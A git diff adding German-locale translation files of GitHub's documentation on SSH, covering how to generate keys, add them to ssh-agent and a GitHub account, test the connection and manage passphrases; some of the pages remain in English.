+{% data reusables.ssh.about-ssh %} Weitere Informationen zu SSH findest du unter [Secure Shell](https://en.wikipedia.org/wiki/Secure_Shell) in Wikipedia.
+
+Wenn du SSH einrichtest, musst du einen neuen privaten SSH-Schlüssel generieren und dem SSH-Agent hinzufügen. Du musst den öffentlichen SSH-Schlüssel außerdem deinem Konto auf {% data variables.product.product_name %} hinzufügen, bevor du den Schlüssel zur Authentifizierung{% ifversion ssh-commit-verification %} oder zum Signieren von Commits{% endif %} verwenden kannst. Weitere Informationen findest du unter [Generieren eines neuen SSH-Schlüssels und Hinzufügen zum SSH-Agent](/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent){% ifversion ssh-commit-verification %}, {% else %} und{% endif %} [Hinzufügen eines neuen SSH-Schlüssels zu deinem {% data variables.product.prodname_dotcom %}-Konto](/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account){% ifversion ssh-commit-verification %} und [Informationen zur Verifizierung einer Commitsignatur](/articles/about-commit-signature-verification){% endif %}.
+
+Du kannst deinen SSH-Schlüssel weiter sichern, indem du einen Hardwaresicherheitsschlüssel verwendest, der den physischen Hardwaresicherheitsschlüssel erfordert, der an deinen Computer angefügt werden muss, wenn das Schlüsselpaar zur Authentifizierung mit SSH verwendet wird. Du kannst deinen SSH-Schlüssel auch sichern, indem du den SSH-Agent hinzufügst und eine Passphrase verwendest. Weitere Informationen findest du unter [Verwenden von Passphrasen für SSH-Schlüssel](/authentication/connecting-to-github-with-ssh/working-with-ssh-key-passphrases).
+
+{% ifversion fpt or ghec %}Um deinen SSH-Schlüssel mit einem Repository zu verwenden, das im Besitz einer Organisation ist, die SAML SSO verwendet, musst du den Schlüssel zuerst autorisieren. Weitere Informationen findest du unter „[Autorisieren eines SSH-Schlüssels für die Verwendung mit SAML SSO](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on){% ifversion fpt %}“ in der {% data variables.product.prodname_ghe_cloud %}-Dokumentation.{% else %}.{% endif %}{% endif %}
+
+Um die Kontosicherheit aufrechtzuerhalten, kannst du ihre SSH-Schlüsselliste regelmäßig überprüfen und alle Schlüssel sperren, die ungültig sind oder kompromittiert wurden. Weitere Informationen findest du unter [Überprüfen deiner SSH-Schlüssel](/github/authenticating-to-github/reviewing-your-ssh-keys).
+
+{% ifversion fpt or ghec %} Wenn du deinen SSH-Schlüssel ein Jahr lang nicht benutzt hast, wird {% data variables.product.prodname_dotcom %} deinen inaktiven SSH-Schlüssel aus Sicherheitsgründen automatisch löschen. Weitere Informationen findest du unter „[Gelöschte oder fehlende SSH-Schlüssel](/articles/deleted-or-missing-ssh-keys)“.
+{% endif %}
+
+{% ifversion fpt %} Organisationen, die {% data variables.product.prodname_ghe_cloud %} verwenden, können SSH-Zertifikate bereitstellen, die Mitglieder verwenden können, um auf die Repositorys dieser Organisation zuzugreifen, ohne das Zertifikat zu ihrem Konto in {% data variables.product.product_name %} hinzuzufügen. Wenn du ein SSH-Zertifikat verwendest, kannst du das Zertifikat nicht verwenden, um auf Forks der Repositorys der Organisation zuzugreifen, wenn die Fork im Besitz deines persönlichen Kontos ist. Weitere Informationen findest du unter „[Informationen zu SSH-Zertifikats-Autorisierungsstellen](/enterprise-cloud@latest/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities)“ in der Dokumentation zu {% data variables.product.prodname_ghe_cloud %}.
+{% else ghec or ghes or ghae %} Wenn du Mitglied einer Organisation bist, die SSH-Zertifikate bereitstellt, kannst du mit deinem Zertifikat auf die Repositorys dieser Organisation zugreifen, ohne das Zertifikat zu deinem Konto in {% data variables.product.product_name %} hinzuzufügen. Du kannst dein Zertifikat nicht verwenden, um auf Forks der Repositorys der Organisation zuzugreifen, wenn die Forks im Besitz deines persönlichen Kontos sind. Weitere Informationen findest du unter [Informationen zu SSH-Zertifizierungsstellen](/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities).
+{% endif %}
+## Weitere Informationsquellen
+
+- „[Fehlerbehebung bei der SSH](/articles/troubleshooting-ssh)“
diff --git a/translations/de-DE/content/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account.md b/translations/de-DE/content/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account.md
new file mode 100644
index 0000000000..1e7cde5e8d
--- /dev/null
+++ b/translations/de-DE/content/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account.md
@@ -0,0 +1,98 @@
+---
+title: Adding a new SSH key to your GitHub account
+intro: 'To configure your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} to use your new (or existing) SSH key, you''ll also need to add the key to your account.'
+redirect_from:
+  - /articles/adding-a-new-ssh-key-to-your-github-account
+  - /github/authenticating-to-github/adding-a-new-ssh-key-to-your-github-account
+  - /github/authenticating-to-github/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - SSH
+shortTitle: Add a new SSH key
+---
+
+## About addition of SSH keys to your account
+
+{% data reusables.ssh.about-ssh %} For more information, see "[About SSH](/authentication/connecting-to-github-with-ssh/about-ssh)."
+
+{% ifversion ssh-commit-verification %}You can also use SSH to sign commits and tags. For more information about commit signing, see "[About commit signature verification](/articles/about-commit-signature-verification)."{% endif %}
+
+After you generate an SSH key pair, you must add the public key to {% ifversion fpt or ghec or ghes %}{% data variables.location.product_location %}{% elsif ghae %}{% data variables.product.product_name %}{% endif %} to enable SSH access for your account.
+
+## Prerequisites
+
+Before adding a new SSH key to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}, complete the following steps.
+
+1. Check for existing SSH keys. For more information, see "[Checking for existing SSH keys](/authentication/connecting-to-github-with-ssh/checking-for-existing-ssh-keys)."
+1. Generate a new SSH key and add it to your machine's SSH agent. For more information, see "[Generating a new SSH key and adding it to the ssh-agent](/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)."
+
+## Adding a new SSH key to your account
+
+After adding a new SSH authentication key to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}, you can reconfigure any local repositories to use SSH. For more information, see "[Switching remote URLs from HTTPS to SSH](/github/getting-started-with-github/managing-remote-repositories/#switching-remote-urls-from-https-to-ssh)."
+
+{% data reusables.ssh.key-type-support %}
+
+{% webui %}
+
+{% data reusables.gpg.copy-ssh-public-key %}
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.ssh %}
+4. Click **New SSH key** or **Add SSH key**.
+{% ifversion ssh-commit-verification %}
+  ![SSH Key button](/assets/images/help/settings/ssh-add-ssh-key-with-auth.png)
+{% else %}
+  ![SSH Key button](/assets/images/help/settings/ssh-add-ssh-key.png)
+{% endif %}
+5. In the "Title" field, add a descriptive label for the new key. For example, if you're using a personal laptop, you might call this key "Personal laptop".
+{% ifversion ssh-commit-verification %}
+6. Select the type of key, either authentication or signing. For more information about commit signing, see "[About commit signature verification](/articles/about-commit-signature-verification)."
+{% endif %}
+7. Paste your key into the "Key" field.
+{% ifversion ssh-commit-verification %}
+  ![The key field](/assets/images/help/settings/ssh-key-paste-with-type.png)
+{% else %}
+  ![The key field](/assets/images/help/settings/ssh-key-paste.png)
+{% endif %}
+8. Click **Add SSH key**.
+  ![The Add key button](/assets/images/help/settings/ssh-add-key.png)
+{% data reusables.user-settings.sudo-mode-popup %}
+
+{% endwebui %}
+
+{% cli %}
+
+{% data reusables.cli.cli-learn-more %}
+
+Before you can use the {% data variables.product.prodname_cli %} to add an SSH key to your account, you must authenticate to the {% data variables.product.prodname_cli %}. For more information, see [`gh auth login`](https://cli.github.com/manual/gh_auth_login) in the {% data variables.product.prodname_cli %} documentation.
+
+{% ifversion ssh-commit-verification %}At present, you can only use {% data variables.product.prodname_cli %} to add SSH authentication keys, you cannot add SSH signing keys.{% endif %}
+
+To add an SSH authentication key to your GitHub account, use the `ssh-key add` subcommand, specifying your public key.
+
+```shell
+gh ssh-key add KEY-FILE
+```
+
+To include a title for the new key, use the `-t` or `--title` flag.
+
+```shell
+gh ssh-key add KEY-FILE --title "personal laptop"
+```
+
+If you generated your SSH key by following the instructions in "[Generating a new SSH key](/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)", you can add the key to your account with this command.
+
+```shell
+gh ssh-key add ~/.ssh/id_ed25519.pub
+```
+
+{% endcli %}
+
+{% ifversion fpt or ghec %}
+## Further reading
+
+- "[Authorizing an SSH key for use with SAML single sign-on](/articles/authorizing-an-ssh-key-for-use-with-saml-single-sign-on)"
+{% endif %}
diff --git a/translations/de-DE/content/authentication/connecting-to-github-with-ssh/checking-for-existing-ssh-keys.md b/translations/de-DE/content/authentication/connecting-to-github-with-ssh/checking-for-existing-ssh-keys.md
new file mode 100644
index 0000000000..e840701467
--- /dev/null
+++ b/translations/de-DE/content/authentication/connecting-to-github-with-ssh/checking-for-existing-ssh-keys.md
@@ -0,0 +1,53 @@
+---
+title: Checking for existing SSH keys
+intro: 'Before you generate an SSH key, you can check to see if you have any existing SSH keys.'
+redirect_from:
+  - /articles/checking-for-existing-ssh-keys
+  - /github/authenticating-to-github/checking-for-existing-ssh-keys
+  - /github/authenticating-to-github/connecting-to-github-with-ssh/checking-for-existing-ssh-keys
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - SSH
+shortTitle: Check for existing SSH key
+---
+
+## About SSH keys
+
+You can use SSH to perform Git operations in repositories on {% ifversion fpt or ghec or ghes %}{% data variables.location.product_location %}{% elsif ghae %}{% data variables.product.product_name %}{% endif %}. For more information, see "[About SSH](/authentication/connecting-to-github-with-ssh/about-ssh)."
+
+If you have an existing SSH key, you can use the key to authenticate Git operations over SSH.
+
+## Checking for existing SSH keys
+
+Before you generate a new SSH key, you should check your local machine for existing keys.
+
+{% data reusables.ssh.key-type-support %}
+
+{% data reusables.command_line.open_the_multi_os_terminal %}
+2. Enter `ls -al ~/.ssh` to see if existing SSH keys are present.
+
+  ```shell
+  $ ls -al ~/.ssh
+  # Lists the files in your .ssh directory, if they exist
+  ```
+
+3. Check the directory listing to see if you already have a public SSH key. By default, the {% ifversion ghae %}filename of a supported public key for {% data variables.product.product_name %} is *id_rsa.pub*.{% else %}filenames of supported public keys for {% data variables.product.product_name %} are one of the following.
+    - *id_rsa.pub*
+    - *id_ecdsa.pub*
+    - *id_ed25519.pub*{% endif %}
+
+  {% tip %}
+
+  **Tip**: If you receive an error that *~/.ssh* doesn't exist, you do not have an existing SSH key pair in the default location. You can create a new SSH key pair in the next step.
+
+  {% endtip %}
+
+4. Either generate a new SSH key or upload an existing key.
+    - If you don't have a supported public and private key pair, or don't wish to use any that are available, generate a new SSH key.
+    - If you see an existing public and private key pair listed (for example, *id_rsa.pub* and *id_rsa*) that you would like to use to connect to {% data variables.product.product_name %}, you can add the key to the ssh-agent.
+
+      For more information about generation of a new SSH key or addition of an existing key to the ssh-agent, see "[Generating a new SSH key and adding it to the ssh-agent](/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)."
diff --git a/translations/de-DE/content/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent.md b/translations/de-DE/content/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent.md
new file mode 100644
index 0000000000..2b6e79d378
--- /dev/null
+++ b/translations/de-DE/content/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent.md
@@ -0,0 +1,249 @@
+---
+title: Generating a new SSH key and adding it to the ssh-agent
+intro: 'After you''ve checked for existing SSH keys, you can generate a new SSH key to use for authentication, then add it to the ssh-agent.'
+redirect_from:
+  - /articles/adding-a-new-ssh-key-to-the-ssh-agent
+  - /articles/generating-a-new-ssh-key
+  - /articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent
+  - /github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent
+  - /github/authenticating-to-github/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - SSH
+shortTitle: Generate new SSH key
+---
+
+## About SSH key passphrases
+
+{% data reusables.ssh.about-ssh %} For more information, see "[About SSH](/authentication/connecting-to-github-with-ssh/about-ssh)."
+
+When you generate an SSH key, you can add a passphrase to further secure the key. Whenever you use the key, you must enter the passphrase. If your key has a passphrase and you don't want to enter the passphrase every time you use the key, you can add your key to the SSH agent. The SSH agent manages your SSH keys and remembers your passphrase.
+
+If you don't already have an SSH key, you must generate a new SSH key to use for authentication. If you're unsure whether you already have an SSH key, you can check for existing keys. For more information, see "[Checking for existing SSH keys](/authentication/connecting-to-github-with-ssh/checking-for-existing-ssh-keys)."
+
+If you want to use a hardware security key to authenticate to {% data variables.product.product_name %}, you must generate a new SSH key for your hardware security key. You must connect your hardware security key to your computer when you authenticate with the key pair. For more information, see the [OpenSSH 8.2 release notes](https://www.openssh.com/txt/release-8.2).
+
+## Generating a new SSH key
+
+You can generate a new SSH key on your local machine. After you generate the key, you can add the key to your account on {% ifversion fpt or ghec or ghes %}{% data variables.location.product_location %}{% elsif ghae %}{% data variables.product.product_name %}{% endif %} to enable authentication for Git operations over SSH.
+
+{% ifversion ghes %}
+
+If you are a site administrator for {% data variables.location.product_location %}, you can use the same key to grant yourself administrative SSH access to the instance. For more information, see "[Accessing the administrative shell (SSH)](/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh)."
+
+{% endif %}
+
+{% data reusables.ssh.key-type-support %}
+
+{% data reusables.command_line.open_the_multi_os_terminal %}
+2. Paste the text below, substituting in your {% data variables.product.product_name %} email address.
+   {%- ifversion ghae %}
+    <!-- GitHub AE is FIPS 140-2 compliant. FIPS does not yet permit keys that use the ed25519 algorithm. -->
+   ```shell
+   $ ssh-keygen -t rsa -b 4096 -C "your_email@example.com"
+   $ ssh-keygen -t rsa -b 4096 -C "your_email@example.com"
+
+   ```
+   {%- else %}
+   ```shell
+   $ ssh-keygen -t ed25519 -C "your_email@example.com"
+   ```
+   {% note %}
+
+   **Note:** If you are using a legacy system that doesn't support the Ed25519 algorithm, use:
+   ```shell
+    $ ssh-keygen -t rsa -b 4096 -C "your_email@example.com"
+   ```
+
+   {% endnote %}
+   {%- endif %}
+
+   This creates a new SSH key, using the provided email as a label.
+   ```shell
+   > Generating public/private ALGORITHM key pair.
+   ```
+When you're prompted to "Enter a file in which to save the key", you can press **Enter** to accept the default file location. Please note that if you created SSH keys previously, ssh-keygen may ask you to rewrite another key, in which case we recommend creating a custom-named SSH key. To do so, type the default file location and replace id_ssh_keyname with your custom key name.
+
+
+   {% mac %}
+
+   ```shell
+   > Enter a file in which to save the key (/Users/YOU/.ssh/id_ALGORITHM: [Press enter]
+   ```
+
+   {% endmac %}
+
+   {% windows %}
+
+   ```shell
+   > Enter a file in which to save the key (/c/Users/YOU/.ssh/id_ALGORITHM):[Press enter]
+   ```
+
+   {% endwindows %}
+
+   {% linux %}
+
+   ```shell
+   > Enter a file in which to save the key (/home/YOU/.ssh/ALGORITHM):[Press enter]
+   ```
+
+   {% endlinux %}
+
+4. At the prompt, type a secure passphrase. For more information, see ["Working with SSH key passphrases](/articles/working-with-ssh-key-passphrases)."
+   ```shell
+   > Enter passphrase (empty for no passphrase): [Type a passphrase]
+   > Enter same passphrase again: [Type passphrase again]
+   ```
+
+## Adding your SSH key to the ssh-agent
+
+Before adding a new SSH key to the ssh-agent to manage your keys, you should have checked for existing SSH keys and generated a new SSH key. <span class="platform-mac">When adding your SSH key to the agent, use the default macOS `ssh-add` command, and not an application installed by [macports](https://www.macports.org/), [homebrew](http://brew.sh/), or some other external source.</span>
+
+{% mac %}
+
+{% data reusables.command_line.start_ssh_agent %}
+
+2. If you're using macOS Sierra 10.12.2 or later, you will need to modify your `~/.ssh/config` file to automatically load keys into the ssh-agent and store passphrases in your keychain.
+
+   * First, check to see if your `~/.ssh/config` file exists in the default location.
+
+     ```shell
+     $ open ~/.ssh/config
+     > The file /Users/YOU/.ssh/config does not exist.
+     ```
+
+   * If the file doesn't exist, create the file.
+
+     ```shell
+     $ touch ~/.ssh/config
+     ```
+
+   * Open your `~/.ssh/config` file, then modify the file to contain the following lines. If your SSH key file has a different name or path than the example code, modify the filename or path to match your current setup.
+
+     ```
+     Host *.{% ifversion ghes or ghae %}HOSTNAME{% else %}github.com{% endif %}
+       AddKeysToAgent yes
+       UseKeychain yes
+       IdentityFile ~/.ssh/id_{% ifversion ghae %}ecdsa{% else %}ed25519{% endif %}
+     ```
+
+     {% note %}
+
+     **Notes:**
+
+     - If you chose not to add a passphrase to your key, you should omit the `UseKeychain` line.
+
+     - If you see a `Bad configuration option: usekeychain` error, add an additional line to the configuration's' `Host *.{% ifversion ghes or ghae %}HOSTNAME{% else %}github.com{% endif %}` section.
+
+       ```
+       Host *.{% ifversion ghes or ghae %}HOSTNAME{% else %}github.com{% endif %}
+         IgnoreUnknown UseKeychain
+       ```
+     {% endnote %}
+
+3. Add your SSH private key to the ssh-agent and store your passphrase in the keychain. {% data reusables.ssh.add-ssh-key-to-ssh-agent %}
+   ```shell
+   $ ssh-add --apple-use-keychain ~/.ssh/id_{% ifversion ghae %}rsa{% else %}ed25519{% endif %}
+  ```
+  {% note %}
+
+   **Note:** The `--apple-use-keychain` option stores the passphrase in your keychain for you when you add an SSH key to the ssh-agent. If you chose not to add a passphrase to your key, run the command without the `--apple-use-keychain` option.
+
+   The `--apple-use-keychain` option is in Apple's standard version of `ssh-add`. In MacOS versions prior to Monterey (12.0), the `--apple-use-keychain` and `--apple-load-keychain` flags used the syntax `-K` and `-A`, respectively.
+
+  If you don't have Apple's standard version of `ssh-add` installed, you may receive an error. For more information, see "[Error: ssh-add: illegal option -- K](/articles/error-ssh-add-illegal-option-k)."
+
+
+   {% endnote %}
+
+4. Add the SSH key to your account on {% data variables.product.product_name %}. For more information, see "[Adding a new SSH key to your {% data variables.product.prodname_dotcom %} account](/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account)."
+
+{% endmac %}
+
+{% windows %}
+
+{% data reusables.desktop.windows_git_bash %}
+
+1. Ensure the ssh-agent is running. You can use the "Auto-launching the ssh-agent" instructions in "[Working with SSH key passphrases](/articles/working-with-ssh-key-passphrases)", or start it manually:
+   ```shell
+   # start the ssh-agent in the background
+   $ eval "$(ssh-agent -s)"
+   > Agent pid 59566
+   ```
+
+2. Add your SSH private key to the ssh-agent. {% data reusables.ssh.add-ssh-key-to-ssh-agent %}
+   {% data reusables.ssh.add-ssh-key-to-ssh-agent-commandline %}
+
+3. Add the SSH key to your account on {% data variables.product.product_name %}. For more information, see "[Adding a new SSH key to your {% data variables.product.prodname_dotcom %} account](/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account)."
+
+{% endwindows %}
+
+{% linux %}
+
+{% data reusables.command_line.start_ssh_agent %}
+
+2. Add your SSH private key to the ssh-agent. {% data reusables.ssh.add-ssh-key-to-ssh-agent %}
+   {% data reusables.ssh.add-ssh-key-to-ssh-agent-commandline %}
+
+3. Add the SSH key to your account on {% data variables.product.product_name %}. For more information, see "[Adding a new SSH key to your {% data variables.product.prodname_dotcom %} account](/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account)."
+
+{% endlinux %}
+
+## Generating a new SSH key for a hardware security key
+
+If you are using macOS or Linux, you may need to update your SSH client or install a new SSH client prior to generating a new SSH key. For more information, see "[Error: Unknown key type](/github/authenticating-to-github/error-unknown-key-type)."
+
+1. Insert your hardware security key into your computer.
+{% data reusables.command_line.open_the_multi_os_terminal %}
+3. Paste the text below, substituting in the email address for your account on {% data variables.product.product_name %}.
+   ```shell
+   $ ssh-keygen -t {% ifversion ghae %}ecdsa{% else %}ed25519{% endif %}-sk -C "YOUR_EMAIL"
+   ```
+
+   {%- ifversion not ghae %}
+   {% note %}
+
+   **Note:** If the command fails and you receive the error `invalid format` or `feature not supported,` you may be using a hardware security key that does not support the Ed25519 algorithm. Enter the following command instead.
+   ```shell
+    $ ssh-keygen -t ecdsa-sk -C "your_email@example.com"
+   ```
+
+   {% endnote %}
+   {%- endif %}
+4. When you are prompted, touch the button on your hardware security key.
+5. When you are prompted to "Enter a file in which to save the key," press Enter to accept the default file location.
+
+   {% mac %}
+
+   ```shell
+   > Enter a file in which to save the key (/Users/YOU/.ssh/id_{% ifversion ghae %}ecdsa{% else %}ed25519{% endif %}_sk): [Press enter]
+   ```
+
+   {% endmac %}
+
+   {% windows %}
+
+   ```shell
+   > Enter a file in which to save the key (/c/Users/YOU/.ssh/id_{% ifversion ghae %}ecdsa{% else %}ed25519{% endif %}_sk):[Press enter]
+   ```
+
+   {% endwindows %}
+
+   {% linux %}
+
+   ```shell
+   > Enter a file in which to save the key (/home/YOU/.ssh/id_{% ifversion ghae %}ecdsa{% else %}ed25519{% endif %}_sk):[Press enter]
+   ```
+
+   {% endlinux %}
+
+6. When you are prompted to type a passphrase, press **Enter**.
+   ```shell
+   > Enter passphrase (empty for no passphrase): [Type a passphrase]
+   > Enter same passphrase again: [Type passphrase again]
+   ```
+7. Add the SSH key to your account on {% data variables.product.prodname_dotcom %}. For more information, see "[Adding a new SSH key to your {% data variables.product.prodname_dotcom %} account](/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account)."
diff --git a/translations/de-DE/content/authentication/connecting-to-github-with-ssh/index.md b/translations/de-DE/content/authentication/connecting-to-github-with-ssh/index.md
new file mode 100644
index 0000000000..9d9d11deac
--- /dev/null
+++ b/translations/de-DE/content/authentication/connecting-to-github-with-ssh/index.md
@@ -0,0 +1,36 @@
+---
+title: Herstellen einer Verbindung mit GitHub per SSH
+intro: 'Du kannst dich mit {% data variables.product.product_name %} über SSH (Secure Shell Protocol) verbinden, das einen abgesicherten Kanal durch ein ungesichertes Netzwerk bietet.'
+redirect_from:
+  - /key-setup-redirect
+  - /linux-key-setup
+  - /mac-key-setup
+  - /msysgit-key-setup
+  - /articles/ssh-key-setup
+  - /articles/generating-ssh-keys
+  - /articles/generating-an-ssh-key
+  - /articles/connecting-to-github-with-ssh
+  - /github/authenticating-to-github/connecting-to-github-with-ssh
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - SSH
+children:
+  - /about-ssh
+  - /checking-for-existing-ssh-keys
+  - /generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent
+  - /adding-a-new-ssh-key-to-your-github-account
+  - /testing-your-ssh-connection
+  - /working-with-ssh-key-passphrases
+shortTitle: Connect with SSH
+ms.openlocfilehash: 372f67e2074d7a2b6ddfb1155fac027d8b38e141
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145104127'
+---
+
diff --git a/translations/de-DE/content/authentication/connecting-to-github-with-ssh/testing-your-ssh-connection.md b/translations/de-DE/content/authentication/connecting-to-github-with-ssh/testing-your-ssh-connection.md
new file mode 100644
index 0000000000..a97d7da6c6
--- /dev/null
+++ b/translations/de-DE/content/authentication/connecting-to-github-with-ssh/testing-your-ssh-connection.md
@@ -0,0 +1,65 @@
+---
+title: Testing your SSH connection
+intro: 'After you''ve set up your SSH key and added it to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}, you can test your connection.'
+redirect_from:
+  - /articles/testing-your-ssh-connection
+  - /github/authenticating-to-github/testing-your-ssh-connection
+  - /github/authenticating-to-github/connecting-to-github-with-ssh/testing-your-ssh-connection
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - SSH
+shortTitle: Test your SSH connection
+---
+Before testing your SSH connection, you should have:
+- [Checked for existing SSH keys](/articles/checking-for-existing-ssh-keys)
+- [Generated a new SSH key](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)
+- [Added a new SSH key to your GitHub account](/articles/adding-a-new-ssh-key-to-your-github-account)
+
+When you test your connection, you'll need to authenticate this action using your password, which is the SSH key passphrase you created earlier. For more information on working with SSH key passphrases, see ["Working with SSH key passphrases"](/articles/working-with-ssh-key-passphrases).
+
+{% data reusables.command_line.open_the_multi_os_terminal %}
+2. Enter the following:
+  ```shell
+  $ ssh -T git@{% data variables.command_line.codeblock %}
+  # Attempts to ssh to {% data variables.product.product_name %}
+  ```
+
+  You may see a warning like this:
+
+  ```shell
+  > The authenticity of host '{% data variables.command_line.codeblock %} (IP ADDRESS)' can't be established.
+  > RSA key fingerprint is SHA256:nThbg6kXUpJWGl7E1IGOCspRomTxdCARLviKw6E5SY8.
+  > Are you sure you want to continue connecting (yes/no)?
+  ```
+
+3. Verify that the fingerprint in the message you see matches {% ifversion fpt or ghec %}[{% data variables.product.prodname_dotcom %}'s public key fingerprint](/github/authenticating-to-github/githubs-ssh-key-fingerprints){% else %} your enterprise's public key fingerprint{% endif %}. If it does, then type `yes`:
+  ```shell
+  > Hi USERNAME! You've successfully authenticated, but GitHub does not
+  > provide shell access.
+  ```
+
+  {% linux %}
+
+  You may see this error message:
+  ```shell
+  ...
+  Agent admitted failure to sign using the key.
+  debug1: No more authentication methods to try.
+  Permission denied (publickey).
+  ```
+
+  This is a known problem with certain Linux distributions. For more information, see ["Error: Agent admitted failure to sign"](/articles/error-agent-admitted-failure-to-sign).
+
+  {% endlinux %}
+
+   {% note %}
+
+   **Note:** The remote command should exit with code 1.
+
+   {% endnote %}
+
+4. Verify that the resulting message contains your username. If you receive a "permission denied" message, see ["Error: Permission denied (publickey)"](/articles/error-permission-denied-publickey).
diff --git a/translations/de-DE/content/authentication/connecting-to-github-with-ssh/working-with-ssh-key-passphrases.md b/translations/de-DE/content/authentication/connecting-to-github-with-ssh/working-with-ssh-key-passphrases.md
new file mode 100644
index 0000000000..e5ea7930a9
--- /dev/null
+++ b/translations/de-DE/content/authentication/connecting-to-github-with-ssh/working-with-ssh-key-passphrases.md
@@ -0,0 +1,112 @@
+---
+title: SSH-Schlüssel-Passphrasen verwenden
+intro: 'Du kannst deine SSH-Schlüssel schützen und einen Authentifizierungsagenten konfigurieren, damit du beim Verwenden deiner SSH-Schlüssel nicht jedes Mal deine Passphrase neu eingeben musst.'
+redirect_from:
+  - /ssh-key-passphrases
+  - /working-with-key-passphrases
+  - /articles/working-with-ssh-key-passphrases
+  - /github/authenticating-to-github/working-with-ssh-key-passphrases
+  - /github/authenticating-to-github/connecting-to-github-with-ssh/working-with-ssh-key-passphrases
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - SSH
+shortTitle: SSH key passphrases
+ms.openlocfilehash: 5ddacfa052b866fe1cbd601caa8a1ff9ab6934fd
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147409115'
+---
+## Informationen über Passphrasen für SSH-Schlüssel
+
+Wenn Angreifer*innen Zugriff auf deinen Computer erlangen, können sie mit SSH-Schlüsseln zudem auf jedes System zugreifen, das diese Schlüssel verwendet. Als zusätzliche Sicherheitsebene kannst du deinem SSH-Schlüssel eine Passphrase beifügen. Um die Passphrase nicht bei jeder Verbindungsherstellung eingeben zu müssen, kannst du deine Passphrase im SSH-Agent sicher speichern.
+
+## Passphrase hinzufügen oder ändern
+
+Durch Eingabe des folgenden Befehls kannst du die Passphrase für einen vorhandenen privaten Schlüssel ändern, ohne das Schlüsselpaar erneut zu genieren:
+
+```shell
+$ ssh-keygen -p -f ~/.ssh/id_{% ifversion ghae %}rsa{% else %}ed25519{% endif %}
+> Enter old passphrase: <em>[Type old passphrase]</em>
+> Key has comment '<em>your_email@example.com</em>'
+> Enter new passphrase (empty for no passphrase): <em>[Type new passphrase]</em>
+> Enter same passphrase again: <em>[Repeat the new passphrase]</em>
+> Your identification has been saved with the new passphrase.
+```
+
+Wenn dein Schlüssel bereits eine Passphrase aufweist, wirst du zu deren Eingabe aufgefordert, bevor du zu einer neuen Passphrase wechseln kannst.
+
+{% windows %}
+
+## Automatisches Starten von `ssh-agent` in Git für Windows
+
+`ssh-agent` kann automatisch ausgeführt werden, wenn du eine Bash- oder Git-Shell öffnest. Kopiere die folgenden Zeilen, und füge sie in der Git-Shell in die Datei `~/.profile` oder `~/.bashrc` ein:
+
+``` bash
+env=~/.ssh/agent.env
+
+agent_load_env () { test -f "$env" && . "$env" >| /dev/null ; }
+
+agent_start () {
+    (umask 077; ssh-agent >| "$env")
+    . "$env" >| /dev/null ; }
+
+agent_load_env
+
+# agent_run_state: 0=agent running w/ key; 1=agent w/o key; 2=agent not running
+agent_run_state=$(ssh-add -l >| /dev/null 2>&1; echo $?)
+
+if [ ! "$SSH_AUTH_SOCK" ] || [ $agent_run_state = 2 ]; then
+    agent_start
+    ssh-add
+elif [ "$SSH_AUTH_SOCK" ] && [ $agent_run_state = 1 ]; then
+    ssh-add
+fi
+
+unset env
+```
+
